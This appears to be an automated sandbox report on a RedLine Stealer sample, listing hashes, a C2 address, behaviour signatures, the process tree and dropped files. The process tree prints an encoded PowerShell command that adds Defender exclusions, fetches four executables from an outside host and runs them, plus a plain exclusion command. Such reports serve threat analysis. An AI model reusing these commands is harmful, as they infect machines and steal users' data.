Analysis

  • max time kernel
    222s
  • max time network
    301s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    16/01/2023, 13:13

General

  • Target

    17855519b9e1bde7cabf66a422b5671d4d462968.exe

  • Size

    365KB

  • MD5

    ee244310289c82ebe8c73cfd83329f49

  • SHA1

    17855519b9e1bde7cabf66a422b5671d4d462968

  • SHA256

    702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33

  • SHA512

    20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b

  • SSDEEP

    6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP

Score
10/10

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 9 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1276
      • C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
        "C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1156
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
            PID:468
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:520
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
              4⤵
              • Blocklisted process makes network request
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:584
              • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
                5⤵
                • Executes dropped EXE
                PID:972
              • C:\Users\Admin\AppData\Local\Temp\new2.exe
                "C:\Users\Admin\AppData\Local\Temp\new2.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:336
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                  6⤵
                    PID:1308
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 336 -s 36
                    6⤵
                    • Loads dropped DLL
                    • Program crash
                    PID:1732
                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                  "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1616
                • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                  "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                  5⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1880
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1156 -s 36
              3⤵
              • Program crash
              PID:1160
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            PID:916

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                Filesize

                1.4MB

                MD5

                bb86a343080f9f4696c250ef31a18d9d

                SHA1

                43b2193dcb1d56eac73ba88a7b461822074192d6

                SHA256

                095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                SHA512

                24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

              • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                Filesize

                1.4MB

                MD5

                bb86a343080f9f4696c250ef31a18d9d

                SHA1

                43b2193dcb1d56eac73ba88a7b461822074192d6

                SHA256

                095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                SHA512

                24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                Filesize

                3.7MB

                MD5

                f5c51e7760315ad0f0238d268c03c60e

                SHA1

                85ebaaa9685634143a72bc82c6e7df87a78eed4c

                SHA256

                ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                SHA512

                d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                Filesize

                1.4MB

                MD5

                b6bbab9f72c88d07b484cc339c475e75

                SHA1

                f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                SHA256

                dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                SHA512

                1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

              • C:\Users\Admin\AppData\Local\Temp\new2.exe

                Filesize

                464KB

                MD5

                990c8e3fc56a2734631b51fc61a6779a

                SHA1

                55a16cc67fc52cdf0690387e083955048106d48a

                SHA256

                d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                SHA512

                f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

              • \Users\Admin\AppData\Local\Temp\C4Loader.exe

                Filesize

                1.4MB

                MD5

                bb86a343080f9f4696c250ef31a18d9d

                SHA1

                43b2193dcb1d56eac73ba88a7b461822074192d6

                SHA256

                095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                SHA512

                24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

              • \Users\Admin\AppData\Local\Temp\C4Loader.exe

                Filesize

                1.4MB

                MD5

                bb86a343080f9f4696c250ef31a18d9d

                SHA1

                43b2193dcb1d56eac73ba88a7b461822074192d6

                SHA256

                095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                SHA512

                24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

              • \Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                Filesize

                3.7MB

                MD5

                f5c51e7760315ad0f0238d268c03c60e

                SHA1

                85ebaaa9685634143a72bc82c6e7df87a78eed4c

                SHA256

                ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                SHA512

                d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

              • \Users\Admin\AppData\Local\Temp\SysApp.exe

                Filesize

                1.4MB

                MD5

                b6bbab9f72c88d07b484cc339c475e75

                SHA1

                f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                SHA256

                dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                SHA512

                1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

              • \Users\Admin\AppData\Local\Temp\SysApp.exe

                Filesize

                1.4MB

                MD5

                b6bbab9f72c88d07b484cc339c475e75

                SHA1

                f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                SHA256

                dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                SHA512

                1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

              • \Users\Admin\AppData\Local\Temp\new2.exe

                Filesize

                464KB

                MD5

                990c8e3fc56a2734631b51fc61a6779a

                SHA1

                55a16cc67fc52cdf0690387e083955048106d48a

                SHA256

                d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                SHA512

                f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

              • \Users\Admin\AppData\Local\Temp\new2.exe

                Filesize

                464KB

                MD5

                990c8e3fc56a2734631b51fc61a6779a

                SHA1

                55a16cc67fc52cdf0690387e083955048106d48a

                SHA256

                d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                SHA512

                f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

              • \Users\Admin\AppData\Local\Temp\new2.exe

                Filesize

                464KB

                MD5

                990c8e3fc56a2734631b51fc61a6779a

                SHA1

                55a16cc67fc52cdf0690387e083955048106d48a

                SHA256

                d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                SHA512

                f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

              • \Users\Admin\AppData\Local\Temp\new2.exe

                Filesize

                464KB

                MD5

                990c8e3fc56a2734631b51fc61a6779a

                SHA1

                55a16cc67fc52cdf0690387e083955048106d48a

                SHA256

                d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                SHA512

                f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

              • memory/520-56-0x0000000000400000-0x0000000000405000-memory.dmp

                Filesize

                20KB

              • memory/520-63-0x0000000074E61000-0x0000000074E63000-memory.dmp

                Filesize

                8KB

              • memory/520-54-0x0000000000400000-0x0000000000405000-memory.dmp

                Filesize

                20KB

              • memory/520-64-0x0000000000400000-0x0000000000405000-memory.dmp

                Filesize

                20KB

              • memory/584-107-0x00000000731B0000-0x000000007375B000-memory.dmp

                Filesize

                5.7MB

              • memory/584-69-0x00000000731B0000-0x000000007375B000-memory.dmp

                Filesize

                5.7MB

              • memory/584-68-0x00000000731B0000-0x000000007375B000-memory.dmp

                Filesize

                5.7MB

              • memory/916-114-0x000007FEFB9C1000-0x000007FEFB9C3000-memory.dmp

                Filesize

                8KB

              • memory/972-113-0x0000000004306000-0x0000000004317000-memory.dmp

                Filesize

                68KB

              • memory/972-111-0x0000000005670000-0x00000000057BE000-memory.dmp

                Filesize

                1.3MB

              • memory/972-108-0x0000000005510000-0x0000000005676000-memory.dmp

                Filesize

                1.4MB

              • memory/972-112-0x0000000000610000-0x0000000000624000-memory.dmp

                Filesize

                80KB

              • memory/972-97-0x0000000000060000-0x00000000001CC000-memory.dmp

                Filesize

                1.4MB

              • memory/1308-84-0x0000000000320000-0x0000000000340000-memory.dmp

                Filesize

                128KB

              • memory/1308-82-0x0000000000320000-0x0000000000340000-memory.dmp

                Filesize

                128KB

              • memory/1308-92-0x0000000000320000-0x0000000000340000-memory.dmp

                Filesize

                128KB

              • memory/1308-90-0x0000000000320000-0x0000000000340000-memory.dmp

                Filesize

                128KB

              • memory/1616-96-0x0000000001DC0000-0x00000000022C4000-memory.dmp

                Filesize

                5.0MB

              • memory/1616-99-0x00000000022D0000-0x000000000240D000-memory.dmp

                Filesize

                1.2MB

              • memory/1616-98-0x0000000001DC0000-0x00000000022C4000-memory.dmp

                Filesize

                5.0MB

              • memory/1616-103-0x00000000022D0000-0x000000000240D000-memory.dmp

                Filesize

                1.2MB

              • memory/1616-102-0x0000000001DC0000-0x00000000022C4000-memory.dmp

                Filesize

                5.0MB

              • memory/1616-101-0x00000000022D0000-0x000000000240D000-memory.dmp

                Filesize

                1.2MB